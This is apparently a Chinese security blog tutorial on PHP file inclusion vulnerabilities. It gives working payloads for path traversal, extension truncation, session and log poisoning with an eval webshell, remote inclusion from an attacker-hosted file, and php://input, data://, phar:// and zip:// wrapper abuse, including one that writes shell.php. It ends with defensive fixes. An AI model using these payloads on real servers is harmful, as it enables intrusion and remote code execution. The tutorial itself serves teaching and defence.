文件包含

发布于 2022-03-31  321 次阅读


文件包含的定义

  • 如果文件包含函数没有经过严格的过滤或者定义
    并且参数可以被用户控制
    这样就有可能包含非预期的文件。
  • 如果文件中存在恶意代码,无论文件是什么类型
    恶意代码都会被解析。
  • 文件包含漏洞可能会造成服务器的网页被篡改,网站被挂马,服务器被远程控制,被安装后门等危害

文件包含漏洞常见函数

PHP文件包含函数有以下四种:

  • include
  • inclued_once
  • require
  • require_once

require()/require_once():如果在包含过程中有错,那么直接退出,不执行进一步操作。
include()/include_once(): 如果在包含过程中出错,只会发出警告

加上后缀_once的作用:如果文件已经包含过了,那么不会再次包含

当利用这四大漏洞函数包含文件的时候,不论什么类型的文件,都会作为PHP脚本解析

文件包含漏洞示例代码分析

文件包含漏洞示例代码如下:

<?php
    $file=$_GET['file'];
    include $file;
?>

上面的代码没有对$_GET['file']参数进行严格的过滤,直接代入到了include中去,攻击者可以传递file参数的值来达到攻击的目的,比如?file=../../etc/passwd来实现窃读密码文件的目的

无限制本地文件包含漏洞

定义以及代码实现

无限制本地文件包含漏洞是没有为包含文件指定特定的前缀或者拓展名,因此攻击者可以利用文件包含漏洞读取操作系统中的其他文件,或者执行其他文件中的代码

常见的敏感信息路径

Windows下常见敏感文件

目录 内容
\boot.ini 系统版本信息
\xxx\php.ini PHP配置信息
\xxx\my.ini MYSQL配置信息
\xxx\httpd.conf Apache配置信息

Linux下常见敏感文件

目录 内容
/etc/passwd Linux系统账号信息
/etc/httpd/conf/httpd.conf Apache配置信息
/etc/my.conf MySQL配置信息
/usr/etc/php.ini PHP配置信息

漏洞利用

无限制本地文件包含漏洞示例代码

<?php
    $file=$_GET['file'];
    include ($file);
?>

读取文件内容

通过目录遍历可以获取系统中/etc/passwd文件的内容,使用示例如下:
http://www.abc.com/flie.php?file=../../../../etc/passwd

利用无限制本地文件包含漏洞执行代码

可以通过文件包含功能执行任意拓展名的文件中的代码
比如:
在同一目录下,有如下名为phpinfo.txt文件:

<?phpinfo();?>

当页面访问index.php的时候,如果输入URL:
http://...../index.php?file=phpinfo.txt
就会轻而易举执行txt中的phpinfo()函数,并回显内容。

总结:这种情况的实现条件是:

  • PHP代码中有相关的文件包含函数:比如 include ($file)
  • 攻击者能够对包含的变量进行传递参数:比如 $file=$_GET['file'];

有限制本地文件包含漏洞

有限制本地文件包含漏洞是指代码中为包含文件指定了特定的前缀或者拓展名,攻击者必须要对前缀或者拓展名过滤,才能达到利用文件包含漏洞读取操作。

常见的过滤绕过方式有三种:

  • %00 截断文件包含
  • 路径长度截断包含
  • 点好截断文件包含

%00截断文件包含

利用条件

这个漏洞的使用必须满足如下条件

  • magic_quotes_gpc=off
  • PHP版本低于5.3.4

示例代码

<?php
    $file=$_GET['file'];
    include ($file.".html");
?>

测试结果

输入以下测试代码:

 http://www.abc.com/xxx/file.php?file=../../../../../../boot.ini%00

通过%00截断了后面的html拓展名过滤,成功读取了boot.ini的内容

路径长度截断文件包含

操作系统存在着最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路劲丢弃,导致拓展名截断

漏洞利用条件

  • Windows下最大路径长度为256B
  • Linux下最大路径长度为4096B

示例代码

<?php
    $file=$_GET['file'];
    include ($file.".html");
?>

测试结果

输入测试以下代码:

http://www.abc.com/xxx/file.php?file=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

执行后发现已经成功截断了后面的拓展名

点号截断文件包含

漏洞利用条件

点号截断包含只使用与Windows系统,点号的长度大于256B的时候,就可以造成拓展名截断

示例代码

<?php
    $file=$_GET['file'];
    include ($file.".html");
?>

测试结果

http://www.abc.com/xxx/file.php?file=test.txt.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

发现已经成功截断了html拓展名

Session文件包含漏洞

当可以获取session文件路径并且session文件的内容可控的的时候,就可以通过包含session文件进行攻击

利用条件

session文件包含的利用条件有两个:

  • Session的存储位置可以获取
  • Session的内容可控

一般通过以下两种方式获取session的存储位置:

  • 通过phpinfo的信息获取session的存储位置。
    通过phpinfo的信息获取session.save_path
  • 通过猜测默认的session存储位置进行尝试
    通常Linux中的Session的默认存储位置在/var/lib/php/session目录下

示例分析

session文件包含代码如下

session_start();
$ctfs=$_GET['ctfs'];
$_SESSION['username']=$ctfs

此代码可以通过GET型的ctfs参数传入。PHP代码将会获取的值存入到Session中。
攻击者可以利用ctfs参数将恶意代码写入到session文件中,然后在利用文件包含漏洞包含此session文件,向系统中传递恶意代码

漏洞分析

上面的代码满足Session文件包含的两个要求

  • PHP代码将会获取ctfs变量的值存入到session中
  • Session的默认 存储位置是/var/lib/php/session

访问URL:http://www.abc.com/xxx/session.php?ctfs=a 会在/var/lib/php/session目录下降ctfs传入的值存储到session中
Session的文件名以sess_开头,后跟Sessionid,Sessionid可以通过开发者模式获取:
单击右键——检查——存储——Cookie——PHPSESSID 就可以找到内容

假设通过开发者模式获取到的sessionid的值为hufh7hsdf392eurh4,所以session的文件名为sess_hufh7hsdf392eurh4
在/var/lib/php/session目录下查看此文件,内容为:username|s:4:"a"

漏洞利用

通过上面的分析,可以得知,向ctfs参数传入的内容会存储到session文件中。
如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到Session文件当中去,然后通过文件包含漏洞执行getshell

例如:访问代码http://www.abc.com/xxx/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下降ctfs的值写入session文件
session文件的内容为:username|s:18:"<?php phpinfo();?>".

攻击步骤

  • 将恶意代码写入session文件
  • 攻击者可以通过PHPinfo或者猜测到session存放的位置
  • 通过开发者模式可以获得文件名称
  • 通过本地文件包含漏洞可以解析session文件达到攻击的目的

比如:http://www.abc.com/xxx/file.php?file=../../var/lib/php/session/sess_7sdfysdfywy9323cew2

日志文件包含

服务器的中间件,ssh服务都有日志记录的功能。如果开启了日志记录功能,用户访问的日志就会存储到不同服务的相关文件。
如果日志文件的位置是默认位置或者是可以通过其他方法获取,就可以通过访问日志将恶意代码写入到日志文件中去,然后通过文件包含漏洞包含日志中的恶意代码,获得权限。
典型的日志文件包含:

  • 中间件日志文件包含
  • ssh日志文件包含

中间件日志文件包含

利用条件:

  • web中间件日志文件的存储位置已知,并且具有可读权限

下面开始介绍日志文件包含漏洞利用步骤

将恶意代码写入到日志文件

中间件开启了访问日志记录功能,会访问日志写入到日志文件中。
假设访问URL:http://192.168.1.2/xxx/index.php
发现会在日志文件中有如下内容:

[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:31:20 +0800] "GET /xxx/index.php HTTP/1.1" 200 86....

中间件日志访问会记录访问者的IP地址、访问时间、访问路径、返回状态码等等。
利用中间件访问记录路径到日志文件中的功能,将恶意代码写入到日志文件当中去:
添加恶意代码:http://www.abc.com/xxx/<?php @eval($_POST[123]);?>
此时会提示404,但是不急
查看日志文件,发现已经将内容写入

[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:35:23 +0800] "GET /xxx/%3C?php @eval($_POST[123]);?%3E HTTP/1.1" 404 826....

虽然已经写入到日志文件中去了,但是浏览器进行了URL编码,导致传入的代码不能正常使用
可以通过burpsuite抓包的方式写入恶意代码,这样不会被浏览器进行URL编码
查看日志文件,内容如下

[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:37:33 +0800] "GET /xxx/<?php @eval($_POST[123]);?> HTTP/1.1" 404 302....

恶意代码成功写入

文件包含日志文件

要执行文件包含,必须要知道日志文件的位置。
常见的中间件日志文件都有默认的存储路径,比如Apache的中间件日志文件存在/var/log/httpd/目录下,文件名叫access_log
输入测试语句http://www.abc.com/xxx/file.php?file=../../../var/log/httpd/access_log
之后在向网页传入POST参数:123=phpinfo
即可显示出phpinfo的内容

SSH日志文件包含

SSH日志文件包含的利用条件是:

  • SSH日志路径已知,并且具有可读权限

SSH日志文件的默认路径为/var/log/auth.log

下面介绍漏洞利用步骤

将恶意代码写入文件

SSH如果开启了日志记录的功能,那么会将ssh的连接日志记录到ssh日志文件当中
将连接的用户名设置成恶意代码,用命令连接服务器192.168.1.1的ssh服务
ssh "<?php @eval($_POST[123]);?>"@192.168.1.1
查看日志文件/var/log/auth.log,可以观察到恶意代码已经写入到日志文件

使用文件包含日志文件

测试输入语句:http://192.168.1.1/xxx/file.php?file=../../../var/log/auth.log
之后再向网页传入POST参数:123=phpinfo
就可以出现phpinfo的内容了

远程文件包含

无限制远程文件包含

无限制远程文件包含是指包含文件的位置并不在本地服务器,而是通过URL的形式包含到其他服务器上的文件,以及执行文件中的恶意代码
漏洞利用的条件是:

allow_url_fopen=on
allow_url_include=on

无限远程执行文件的代码如下:

<?php
    $file=$_GET['file'];
    include $file;
?>

设定一个文件:php.txt 的内容为<?php phpinfo();?>
在正常情况下访问远程服务器URL,http://192.168.2.1/php.txt
包含在php.txt中的phpinfo函数不会当做PHP代码执行,但是通过远程文件包含漏洞,包含在php.txt的phpinfo函数会被当做PHP代码执行
http://www.abc.com/file.php?file=http://192.168.2.1/php.txt

有限制的远程文件包含

有限制的远程文件包含是代码中存在特定的前缀和后缀.php /.html 等拓展名过滤的时候,攻击者需要绕过前缀或者拓展名过滤,才能远程执行URL代码
示例代码如下

    include($_GET['filename'].".html");

通常有限制的远程文件包含可以通过问号、井号、空格绕过

通过问号绕过

可以在问号后面添加html字符串,问号后面的拓展名会被当做查询,从而绕过过滤
http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt?

通过井号绕过

可以在#后面添加HTML字符串,#会截断后面的拓展名,从而绕过拓展名过滤.#的URL编码为%23
http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt%23

通过空格绕过

http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt%20

PHP 伪协议

PHP带有很多内置的URL风格的封装协议,可用于 fopen\copy\file_exists\filesize等文件系统函数
常见的PHP伪协议如下:

  • file:// 访问本地文件系统
  • http:// 访问http(s)网址
  • ftp:// 访问ftp(s)URL
  • php:// 访问各个输入输出流
  • zlib:// 处理压缩流
  • data:// 读取数据
  • glob:// 找查匹配的文件路径模式
  • phar:// PHP归档
  • ssh2:// Secure Shell 2
  • rar:// RAR处理压缩数据
  • ogg:// 处理音频流
  • expect:// 处理交互式的流

php://伪协议

php://filter

php://filter 是元封装器,设计用于数据流打开时筛选过滤应用,对本地磁盘文件进行读写
以下两种用法相同
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
?filename=php://filter/convert.base64-encode/resource=xxx.php
使用php://filter allow_url_fopen和allow_url_include不需要开启

前缀名称 后加内容 描述
resource= 要过滤的数据流 指定要过滤的数据流
read= 读链的筛选器列表 参数可选,可设定一个或者多个筛选器名称,以管道符(|)分隔
write= 写链的筛选器列表 参数可选,可设定一个或者多个筛选器名称,以管道符(|)分隔
两个链的筛选器列表 没有用read=或者write=做前缀的筛选器列表会是轻快应用于读或者写

这样文件会以base64的编码打开,使用python解码即可

import base64
print(base64.b64decode("........."))

php://input

php://input可以访问请求的原始数据的只读流,即可以直接读取POST上没有经过解析的原始数据,但是使用enctype="multipart/form-data"的时候php://input是无效的。
php://input有以下三种用法

读取POST数据

php://input可以读取POST上没有经过解析的原始数据
利用php://input 读取POST数据的时候,allow_url_fopen和allow_url_include不需要开启
示例代码如下

    echo file_get_contents("php://input");

上面代码输出file_get_contents函数获取的php://input数据。
测试时传入POST数据字符串test
最后会在页面回显出test

写入木马

利用php://input写入木马的时候,PHP配置文件只需要开启allow_url_include
如果POST传入的是PHP代码,就可以写入木马
示例代码如下:

<?php
    $file=$_GET['file'];
    include($file);
?>

如果POST传入的是一个执行写入木马的PHP代码,就会在当前目录下写入一个木马,通过POST方法传入的是以下代码
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
利用php://input传入木马的PHP代码
http"//www.abc.com/xxx/file.php?file=php://input
测试的结果就是通过php://input传入了这个代码,并在当前目录下建立了shell.php文件

执行命令

示例代码如下:

<?php
    $file=$_GET['file'];
    include($file);
?>

利用php://input执行命令的时候,PHP配置文件只需要开启allow_url_include
如果POST传入的是PHP代码,就可以执行任意代码,如果此时PHP代码调用了系统函数,就可以执行该命令
比如传入POST参数
<?php system('ls');?>

file: //伪协议

file:// 可以访问本地文件系统,读取本地文件的内容
使用file:// 不需要开启allow_url_fopen和allow_url_include
示例代码如下:

<?php
    $file=$_GET['file'];
    include($file);
?>

可以输入以下URL
http://www.abc.com/xxx/file.php?file=file://c:/boot.ini
这个命令就可以起到访问本地文件的目的

data:// 伪协议

从PHP5.2.0起,数据封装流就开始有效,用于数据流的读取。
如果传入的都是PHP代码,就会执行任意代码
使用方法如下
data://text/plain;base64,xxxxx(base64编码后的数据)
利用data:// 时,PHP配置文件需要开启allow_url_fopen和allow_url_include
代码示例如下:

<?php
    $file=$_GET['file'];
    include($file);
?>

通过data:// 伪协议传送phpinfo代码,<?php phpinfo();?>的base64编码为PD9waHAgcGhwaW5mbygpOz8+,需要对加号进行URL编码:%2b
最终输入的data数据是:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
传入到URL就是
http://www.abc.com/xxx/file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

phar://伪协议

phar:// 是用来解压的伪协议
phar://不管参数中是什么拓展名,都会被当做压缩包
用法:?file=phar://压缩包/压缩文件
比如:phar://xxx.png/shell.php
利用phar:// 时,PHP配置文件需要开启allow_url_fopen和allow_url_include,并且PHP版本要高于5.3.0

注意:压缩包需要用zip://伪协议压缩而不能用rar://,将木马文件压缩后,改成任意后缀名都可以正常使用

代码示例如下:

<?php
    $file=$_GET['file'];
    include($file);
?>

写一个木马文件shell.php,然后用zip://伪协议压缩成shell.zip,最后修改后缀名为.png,上传图片
输入测试:http://www.abc.com/xxx/file.php?file=phar://shell.png/shell.php

这样phar://就会将png当做zip压缩包进行解压,并且访问解压后的shell.php文件

zip:// 伪协议

和phar://伪协议原理类似,但用法不同
用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
利用zip:// 时,PHP配置文件需要开启allow_url_fopen和allow_url_include,并且PHP版本要高于5.3.0

注意:需要将#转换成URL编码:%23

代码示例如下:

<?php
    $file=$_GET['file'];
    include($file);
?>

输入测试:http://www.abc.com/xxx/file?file=zip://D:/phpstudy/www/.../test.png%23shell.php (zip必须是绝对路径)
这样zip://就会将png当做zip压缩包进行解压,并且访问解压后的shell.php文件

expect://伪协议

expect://伪协议用来执行系统命令,但是需要安装拓展
用法: ?file=expect://ls

文件包含漏洞修复

代码配置

可以在代码层对文件包含进行过滤,设置包含的参数的白名单,假设网站只包含文件为index.php和admin.php
就可以定义好代码如下:

<?php
    $filename=$_GET['filename'];
    switch ($filename) {
        case 'index':
        case 'admin':
            include('/var/www/html/'.filename.'.php');
            break;
        default:
            break;
    }
?>

服务器配置

  • 修改PHP配置文件,将open_basedir的值设置为可以包含的特定目录,后面要加/,例如open_basedir=/var/www/html/
  • 修改PHP配置文件,关闭allow_url_include
Daniel_WRF
最后更新于 2023-09-22